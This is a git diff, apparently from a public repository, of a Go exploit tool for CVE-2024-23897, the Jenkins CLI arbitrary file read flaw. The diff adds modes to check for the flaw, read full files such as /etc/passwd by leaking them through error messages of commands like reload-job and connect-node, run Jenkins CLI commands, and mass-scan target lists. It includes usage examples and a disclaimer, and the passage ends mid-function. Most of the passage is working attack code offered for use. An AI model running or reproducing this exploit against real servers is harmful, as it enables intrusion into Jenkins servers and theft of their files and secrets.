v1.5.4 h1:2uY/xC0roWy8IBEGLgB1ywIoEJFGmRrX21YQcvGZzjU= +github.com/yuin/goldmark v1.5.4/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/yuin/goldmark-emoji v1.0.1 h1:ctuWEyzGBwiucEqxzwe0SOYDXPAucOrE9NQC18Wa1os= +github.com/yuin/goldmark-emoji v1.0.1/go.mod h1:2w1E6FEWLcDQkoTE+7HU6QF1F6SLlNGjRIBbIZQFqkQ= github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 h1:Nzukz5fNOBIHOsnP+6I79kPx3QhLv8nBy2mfFhBRq30= github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE= @@ -217,8 +269,10 @@ golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACk golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201124201722-c8d3bf9c5392/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20201208171446-5f87f3452ae9/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210817164053-32db794688a5/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.0.0-20211209193657-4570a0811e8b/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= @@ -230,19 +284,24 @@ golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.0.0-20221002022538-bcab6841153b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/oauth2 v0.11.0 h1:vPL4xzxBM4niKCW6g9whtaWVXTJf1U5e4aZxxFx/gbU= +golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -257,10 +316,13 @@ golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -275,6 +337,7 @@ golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= @@ -288,11 +351,15 @@ golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= +google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= diff --git a/pkg/output/output.go b/pkg/output/output.go index 1b85c94..66728f0 100644 --- a/pkg/output/output.go +++ b/pkg/output/output.go @@ -1,5 +1,7 @@ package output +import "github.com/wjlin0/CVE-2024-23897/pkg/input" + type ResultEvent struct { // Host is the host input on which match was found. Host string `json:"host,omitempty"` @@ -12,7 +14,44 @@ type ResultEvent struct { //Response is the response of the input. Response string `json:"response,omitempty"` // Error is the error that occurred while processing the input. - Error string `json:"error,omitempty"` - // Filename is the filename of the input. - Filename string `json:"filename,omitempty"` + Command string `json:"command,omitempty"` + Error string `json:"error,omitempty"` + // Args is the filename of the input. + Args string `json:"filename,omitempty"` + // Mode is the mode of the input. + Mode Mode `json:"Mode,omitempty"` +} + +type Mode int + +const ( + ModeCheck Mode = iota + 1 + ModeListAvailableCommands + ModeReadFile + // ModeExec 命令执行模式 + ModeExec +) + +func (m Mode) String() string { + switch m { + case ModeCheck: + return "Check Mode" + case ModeListAvailableCommands: + return "List Available Commands Mode" + case ModeReadFile: + return "Read File Mode" + case ModeExec: + return "Exec Mode" + default: + return "Unknown Mode" + } +} +func NewResultEvent(target *input.Target) *ResultEvent { + + return &ResultEvent{ + Host: target.Host, + Port: target.Port, + Scheme: target.Scheme, + URL: target.ToString(), + } } diff --git a/pkg/runner/banner.go b/pkg/runner/banner.go index 5486b20..c66ae18 100644 --- a/pkg/runner/banner.go +++ b/pkg/runner/banner.go @@ -1,6 +1,9 @@ package runner -import "github.com/projectdiscovery/gologger" +import ( + "github.com/projectdiscovery/gologger" + "os" +) const banner = ` _______ ________ ___ ____ ___ __ __ ___ _____ ____ ____ _____ @@ -10,7 +13,7 @@ const banner = ` \____/ |___/_____/ /____\____/____/ /_/ /____/____/\____//____/ /_/ ` const ( - version = `1.0.0` + version = `1.0.1` repoName = `CVE-2024-23897` ) @@ -22,3 +25,9 @@ func showBanner() { gologger.Print().Msgf("慎用。你要为自己的行为负责\n") gologger.Print().Msgf("开发者不承担任何责任,也不对任何误用或损坏负责.\n\n") } + +func ShowVersion() { + showBanner() + gologger.Info().Msgf("Current %s version v%v ", repoName, version) + os.Exit(0) +} diff --git a/pkg/runner/options.go b/pkg/runner/options.go index 76d22e4..f38e9b0 100644 --- a/pkg/runner/options.go +++ b/pkg/runner/options.go @@ -5,6 +5,7 @@ import ( "github.com/projectdiscovery/gologger" fileutil "github.com/projectdiscovery/utils/file" "github.com/wjlin0/CVE-2024-23897/pkg/types" + updateutils "github.com/wjlin0/CVE-2024-23897/pkg/update" "time" ) @@ -17,7 +18,12 @@ func ParseOptions() *types.Options { flagSet.CreateGroup("input", "Input", flagSet.StringSliceVarP(&options.URL, "u", "url", nil, "URL to scan. (e.g. -u https://example.com)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.StringSliceVar(&options.ListURL, "list", nil, "File containing list of URLs to scan. (e.g. -list list.txt)", goflags.FileCommaSeparatedStringSliceOptions), - flagSet.StringSliceVarP(&options.Filename, "filename", "f", nil, "The file path that needs to be read. (e.g. -f /etc/passwd)", goflags.CommaSeparatedStringSliceOptions), + ) + flagSet.CreateGroup("config", "Config", + flagSet.StringSliceVarP(&options.Command, "command", "c", nil, "JinKens Command to run. (e.g. -c 'who-am-i')", goflags.FileCommaSeparatedStringSliceOptions), + flagSet.StringSliceVarP(&options.Args, "args", "a", nil, "The file path that needs to be read. (e.g. -f /etc/passwd)", goflags.CommaSeparatedStringSliceOptions), + flagSet.BoolVarP(&options.Exec, "exec", "e", false, "JinKens Execute command."), + flagSet.BoolVarP(&options.ListAvailableCommands, "list-available-commands", "lac", false, "List available commands."), ) flagSet.CreateGroup("output", "Output", flagSet.BoolVar(&options.NoColor, "no-color", false, "Don't Use colors in output"), @@ -26,23 +32,38 @@ func ParseOptions() *types.Options { flagSet.BoolVar(&options.Debug, "debug", false, "Enable debugging"), flagSet.StringSliceVarP(&options.ProxyURL, "proxy", "p", nil, "list of http/socks5 proxy to use (comma separated or file input)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.DurationVarP(&options.InputReadTimeout, "input-read-timeout", "irt", 3*time.Minute, "timeout on input read"), + flagSet.CallbackVar(ShowVersion, "version", "show version of CVE-2024-23897 tool"), flagSet.BoolVar(&options.DisableStdin, "no-stdin", false, "disable stdin processing"), ) flagSet.CreateGroup("limit", "Limit", flagSet.IntVar(&options.Timeout, "timeout", 10, "time to wait in seconds before timeout"), - flagSet.IntVarP(&options.Thread, "thread", "t", 10, "Number of concurrent threads"), + flagSet.IntVarP(&options.Thread, "thread", "t", 30, "Number of concurrent threads"), flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", -1, "Rate limit for enumeration speed (n req/sec)"), ) + flagSet.CreateGroup("update", "Update", + flagSet.CallbackVar(updateutils.GetUpdateToolCallback(repoName, version), "update", "Update tool"), + flagSet.BoolVarP(&options.DisableUpdateCheck, "disable-update-check", "duc", false, "Disable update check"), + ) flagSet.SetCustomHelpText(`Examples: -Run CVE-2024-23897 on a single targets +Run CVE-2024-23897 check vulnerability on a single targets $ CVE-2024-23897 -url https://example.com -Run CVE-2024-23897 on a list of targets + +Run CVE-2024-23897 check vulnerability on list of targets $ CVE-2024-23897 -list list.txt -Run CVE-2024-23897 on a single targets with filenames - $ CVE-2024-23897 -url https://example.com -f /etc/passwd -f /etc/hostname -Run CVE-2024-23897 on a single targets a proxy server + +Run CVE-2024-23897 read full file contents on a single targets + $ CVE-2024-23897 -url https://example.com -c reload-job -a /etc/passwd + +Run CVE-2024-23897 read available commands on a single targets + $ CVE-2024-23897 -url https://example.com -lac + +Run CVE-2024-23897 execute the JenKings command + $ CVE-2024-23897 -url https://example.com -c reload-job -a job_name -exec + +Run CVE-2024-23897 check vulnerability on a single targets by proxy server $ CVE-2024-23897 -url https://example.com -proxy http://127.0.0.1:7890 -Run CVE-2024-23897 on uncovering Jenkins + +Run CVE-2024-23897 on uncovering Jenkins check vulnerability $ pathScan -ue 'quake' -uq 'app: "Jenkins"' -uc -silent | CVE-2024-23897 `) _ = flagSet.Parse() diff --git a/pkg/runner/output.go b/pkg/runner/output.go index 73fd304..bfb011e 100644 --- a/pkg/runner/output.go +++ b/pkg/runner/output.go @@ -22,22 +22,35 @@ func SetOutput(options *types.Options) { } func (r *Runner) Output(event *output.ResultEvent) { opts := r.options - + if event.URL == "" { + return + } buffer := strings.Builder{} buffer.WriteRune('[') buffer.WriteString(color.HiRedString("CVE-2024-23897")) buffer.WriteRune(']') buffer.WriteRune(' ') buffer.WriteString(event.URL) + buffer.WriteRune('\n') + if event.Mode != 0 { + buffer.WriteString(fmt.Sprintf("Mode: %s\n", event.Mode)) + } + if event.Command != "" && event.Mode != output.ModeCheck { + buffer.WriteString(fmt.Sprintf("Command: %s\n", event.Command)) + } + if event.Mode == output.ModeReadFile && event.Args != "" { + buffer.WriteString(fmt.Sprintf("Filename: %s\n", strings.TrimLeft(event.Args, "@"))) + } else if event.Args != "" { + buffer.WriteString(fmt.Sprintf("Args: %s\n", event.Args)) + } + if event.Response != "" { - buffer.WriteRune(' ') - buffer.WriteString(color.HiYellowString(event.Filename + " - ")) - buffer.WriteString(color.HiYellowString(event.Response)) + buffer.WriteString(strings.TrimSuffix(event.Response, "\n")) + buffer.WriteRune('\n') } if opts.Debug && event.Error != "" { - buffer.WriteRune(' ') buffer.WriteString(color.YellowString(event.Error)) - return + buffer.WriteRune('\n') } fmt.Println(buffer.String()) diff --git a/pkg/runner/runner.go b/pkg/runner/runner.go index 777f874..55b7935 100644 --- a/pkg/runner/runner.go +++ b/pkg/runner/runner.go @@ -2,14 +2,18 @@ package runner import ( "bufio" + "fmt" + "github.com/fatih/color" "github.com/projectdiscovery/gologger" proxyutils "github.com/projectdiscovery/utils/proxy" readerutil "github.com/projectdiscovery/utils/reader" stringsutil "github.com/projectdiscovery/utils/strings" "github.com/remeh/sizedwaitgroup" "github.com/wjlin0/CVE-2024-23897/pkg/input" + "github.com/wjlin0/CVE-2024-23897/pkg/output" "github.com/wjlin0/CVE-2024-23897/pkg/scanner" "github.com/wjlin0/CVE-2024-23897/pkg/types" + updateutils "github.com/wjlin0/CVE-2024-23897/pkg/update" "net/url" "os" "strings" @@ -85,33 +89,105 @@ func (r *Runner) parseTargets() { func (r *Runner) RunEnumeration() error { start := time.Now() r.displayExecutionInfo() + success := 0 - for _, target := range r.targets { - r.wg.Add() - go func(target *input.Target) { - defer r.wg.Done() - for _, filename := range r.options.Filename { - result := r.scanner.Exploit(target, filename, "who-am-i", false) - if result != nil { - r.Lock() + switch { + case r.options.IsListAvailableCommands(): + for _, target := range r.targets { + r.wg.Add() + go func(target *input.Target) { + defer r.wg.Done() + commands, result := r.scanner.ListAvailableCommands(target) + if result == nil || len(commands) == 0 { + return + } + success++ + result.Response = fmt.Sprintf("%s\n", strings.Join(commands, ",")) + r.Output(result) + }(target) + } + case r.options.IsReadMode(): + for _, target := range r.targets { + r.wg.Add() + go func(target *input.Target) { + defer r.wg.Done() + for _, filename := range r.options.Args { + for _, command := range r.options.Command { + result := r.scanner.ReadFile(target, command, filename) + if result == nil || result.Response == "" { + continue + } + result.Response = color.HiYellowString(result.Response) + + success++ + + r.Output(result) + } + } + }(target) + } + case r.options.Exec: + for _, target := range r.targets { + r.wg.Add() + go func(target *input.Target) { + defer r.wg.Done() + for _, command := range r.options.Command { + result := r.scanner.Exec(target, command, strings.Join(r.options.Args, " ")) + if result == nil || result.Response == "" { + continue + } success++ r.Output(result) - r.Unlock() + } - } - }(target) + }(target) + } + default: + for _, target := range r.targets { + r.wg.Add() + go func(target *input.Target) { + defer r.wg.Done() + vul, full, result := r.scanner.Check(target) + if !vul { + return + } + success++ + if full { + result.Response = color.HiGreenString("The target is Vulnerable && This cab read full file contents\n") + "please use command to read full body. \n" + color.HiYellowString(fmt.Sprintf("$ CVE-2024-23897 -u %s -c %s -a /etc/passwd", target.ToString(), result.Response)) + + } else { + result.Response = color.HiGreenString("The target is Vulnerable.\n") + "please use command to read file first content. \n" + color.HiYellowString(fmt.Sprintf("$ CVE-2024-23897 -u %s -c %s -a /etc/passwd", target.ToString(), result.Response)) + } + r.Output(result) + }(target) + + } } + r.wg.Wait() elapsed := time.Since(start) - // 将持续时间转换为以秒为单位的浮点数,并保留两位小数 elapsedSec := float64(elapsed) / float64(time.Second) - gologger.Info().Msgf("took %.2f seconds with %d successful requests", elapsedSec, success) + gologger.Info().Msgf("took %.2f seconds with %d successful targets", elapsedSec, success) return nil } func (r *Runner) displayExecutionInfo() { + opts := r.options + if !opts.DisableUpdateCheck { + latestVersion, err := updateutils.GetToolVersionCallback(repoName, repoName)() + if err != nil { + if opts.Debug { + gologger.Error().Msgf("%s version check failed: %v", repoName, err.Error()) + } + } else { + gologger.Info().Msgf("Current %s version v%v %v", repoName, version, updateutils.GetVersionDescription(version, latestVersion)) + } + } else { + gologger.Info().Msgf("Current %s version v%v ", repoName, version) + } + // 展示代理 parse, _ := url.Parse(types.ProxyURL) if parse.Scheme == proxyutils.HTTPS || parse.Scheme == proxyutils.HTTP { @@ -121,10 +197,20 @@ func (r *Runner) displayExecutionInfo() { if parse.Scheme == proxyutils.SOCKS5 { gologger.Info().Msgf("Using %s as socket proxy server", parse.String()) } - + // 展示运行模式 + if r.options.IsCheckMode() { + gologger.Info().Msgf("Running %s", output.ModeCheck) + } + if r.options.IsReadMode() { + gologger.Info().Msgf("Running %s", output.ModeReadFile) + } + if r.options.IsExecMode() { + gologger.Info().Msgf("Running %s", output.ModeExec) + } + if r.options.IsListAvailableCommands() { + gologger.Info().Msgf("Running %s", output.ModeListAvailableCommands) + } // 展示 targets数量 gologger.Info().Msgf("Loaded %d targets from input", len(r.targets)) - // 输出: 读取 %s 文件 的 第一行 - gologger.Info().Msgf("Read %s file first line", strings.Join(r.options.Filename, ",")) } diff --git a/pkg/runner/validate.go b/pkg/runner/validate.go index df5be6d..8f13585 100644 --- a/pkg/runner/validate.go +++ b/pkg/runner/validate.go @@ -2,13 +2,12 @@ package runner import ( "fmt" - "github.com/projectdiscovery/goflags" "github.com/wjlin0/CVE-2024-23897/pkg/types" "time" ) const ( - DefaultThread = 10 + DefaultThread = 30 DefaultTimeout = 10 DefaultInputReadTimeout = 3 * time.Minute ) @@ -20,6 +19,9 @@ func ValidateRunEnumeration(options *types.Options) error { return err } + if options.Exec && options.ListAvailableCommands { + return fmt.Errorf("cannot use -exec and -list-available-commands at the same time") + } // set default input if options.Thread <= 0 { options.Thread = DefaultThread @@ -30,14 +32,18 @@ func ValidateRunEnumeration(options *types.Options) error { if options.InputReadTimeout <= 0 { options.InputReadTimeout = DefaultInputReadTimeout } - if len(options.Filename) == 0 { - options.Filename = goflags.StringSlice{"/etc/passwd"} - } - for _, f := range options.Filename { + for _, f := range options.Args { if len(f) >= 65535 { return fmt.Errorf("filename length must be less than 65535") } } + if !options.IsListAvailableCommands() && !options.IsExecMode() && len(options.Args) != 0 && len(options.Command) == 0 { + options.Command = append(options.Command, "who-am-i") + } + if !options.IsListAvailableCommands() && !options.IsExecMode() && len(options.Args) == 0 && len(options.Command) != 0 { + options.Args = append(options.Args, "/etc/passwd") + } + return nil } diff --git a/pkg/scanner/check.go b/pkg/scanner/check.go index 3d2fc19..ca48abd 100644 --- a/pkg/scanner/check.go +++ b/pkg/scanner/check.go @@ -1,10 +1,193 @@ package scanner import ( + "bytes" + "encoding/binary" + "fmt" "github.com/wjlin0/CVE-2024-23897/pkg/input" "github.com/wjlin0/CVE-2024-23897/pkg/output" + "regexp" + "strings" ) -func (s *Scanner) Check(target *input.Target) (result *output.ResultEvent) { - return s.Exploit(target, "/etc/passwd", "help", true) +func (s *Scanner) Check(target *input.Target) (vul bool, readFullFile bool, result *output.ResultEvent) { + + result = output.NewResultEvent(target) + result.Mode = output.ModeCheck + result.Command = "" + // 提取 可用命令 + + // 检查是否可以读取全部文件 + result3 := s.Exploit(target, output.ModeReadFile, "/etc/passwd", "reload-job") + if result3 != nil && result3.Response != "" && !strings.Contains(result3.Response, "anonymous is missing the Overall/Read permission") { + if strings.Contains(result3.Response, "root:x:0:0:") { + readFullFile = true + vul = true + result.Response = "reload-job" + } + } + + // 检查是否可以读取全部文件 + result4 := s.Exploit(target, output.ModeReadFile, "/etc/passwd", "connect-node") + if result4 != nil && result4.Response != "" && !strings.Contains(result4.Response, "anonymous is missing the Overall/Read permission") { + if strings.Contains(result4.Response, "root:x:0:0:") { + readFullFile = true + vul = true + result.Response = "connect-node" + } + } + + if readFullFile { + return + } + + // 检查是否存在漏洞 + + result2 := s.Exploit(target, output.ModeReadFile, "/etc/passwd", "who-am-i") + if result2 == nil || result2.Response == "" { + return false, false, nil + } + if strings.Contains(result2.Response, "root:x:0:0:") { + vul = true + result.Response = "who-am-i" + } + + return +} + +func (s *Scanner) ListAvailableCommands(target *input.Target) (commands []string, result *output.ResultEvent) { + result = s.Exploit(target, output.ModeExec, "", "help") + if result != nil && result.URL != "" { + // 提取 可用命令 + commands = extractAvailableCommands(result.Response) + } + result.Mode = output.ModeListAvailableCommands + return +} + +func (s *Scanner) ReadFile(target *input.Target, command string, filename string) (result *output.ResultEvent) { + result = s.Exploit(target, output.ModeReadFile, filename, command) + if result == nil { + return + } + parseData := []byte(result.Response) + switch command { + case "who-am-i": + rg := whoamiCommandRegexData.FindStringSubmatch(string(parseData)) + if len(rg) > 1 { + parseData = []byte(rg[1]) + } + + case "help": + + rg := helpCommandRegexData.FindStringSubmatch(string(parseData)) + if len(rg) > 1 { + parseData = []byte(rg[1]) + } + case "version": + rg := versionCommandRegexData.FindStringSubmatch(string(parseData)) + if len(rg) > 1 { + parseData = []byte(rg[1]) + } + + case "reload-job": + + matches := reloadJobCommandRegexData.FindAllSubmatch(parseData, -1) + + if len(matches) > 0 { + parseData = []byte{} + for _, match := range matches { + for _, group := range match[1:] { + if len(group) > 0 { + parseData = append(parseData, group...) + parseData = append(parseData, []byte("\n")...) + } + } + } + parseData = bytes.TrimSuffix(parseData, []byte("\n")) + } + case "connect-node": + matches := connectNodeCommandRegexData.FindAllSubmatch(parseData, -1) + + if len(matches) > 0 { + parseData = []byte{} + for _, match := range matches { + for _, group := range match[1:] { + if len(group) > 0 { + parseData = append(parseData, group...) + parseData = append(parseData, []byte("\n")...) + } + } + } + parseData = bytes.TrimSuffix(parseData, []byte("\n")) + } + } + + result.Response = string(parseData) + + result.Mode = output.ModeReadFile + result.Args = filename + return +} + +func (s *Scanner) Exec(target *input.Target, command string, args string) (result *output.ResultEvent) { + result = s.Exploit(target, output.ModeExec, args, command) + if result == nil { + return + } + result.Mode = output.ModeExec + + return +} + +func extractAvailableCommands(body string) (commands []string) { + // TODO + bodys := strings.Split(body, "\n") + for _, line := range bodys { + if strings.HasPrefix(line, " ") && !strings.HasPrefix(line, " ") { + commands = append(commands, strings.TrimSpace(line)) + } + } + return +} + +var whoamiCommandRegexData = regexp.MustCompile(`ERROR: (?:No argument is allowed: )? ?((?:No such file: )?.*)\njava -jar jenkins-cli.jar who-am-i`) +var helpCommandRegexData = regexp.MustCompile(`ERROR: (?:Too many arguments: )?((?:No such file: )?.*)\njava -jar jenkins-cli.jar help`) + +var reloadJobCommandRegexData = regexp.MustCompile(`ERROR: (.*)\njava -jar jenkins-cli.jar reload-job|No such item \x3f(.*?)\x3f `) +var versionCommandRegexData = regexp.MustCompile(`ERROR: (?:No argument is allowed: )? ?((?:No such file: )?.*)\njava -jar jenkins-cli.jar version`) +var connectNodeCommandRegexData = regexp.MustCompile(`ERROR: (.*)\njava -jar jenkins-cli.jar connect-node|No such agent "(.*?)" `) + +func parseResponseData(Mode output.Mode, command string, data []byte) ([]byte, error) { + // TODO + var f = func(data []byte) ([]byte, error) { + var datas []byte + if len(data) < 7 { + return nil, fmt.Errorf("invalid length: %d", len(data)) + } + for len(data) >= 7 { + if string(data[:7]) == "\x00\x00\x00\x04\x04\x00\x00" { + break + } + + data = data[2:] + lengthBytes := data[:2] + + // 将 lengthBytes 转换为 10 进制 + length := binary.BigEndian.Uint16(lengthBytes) + if 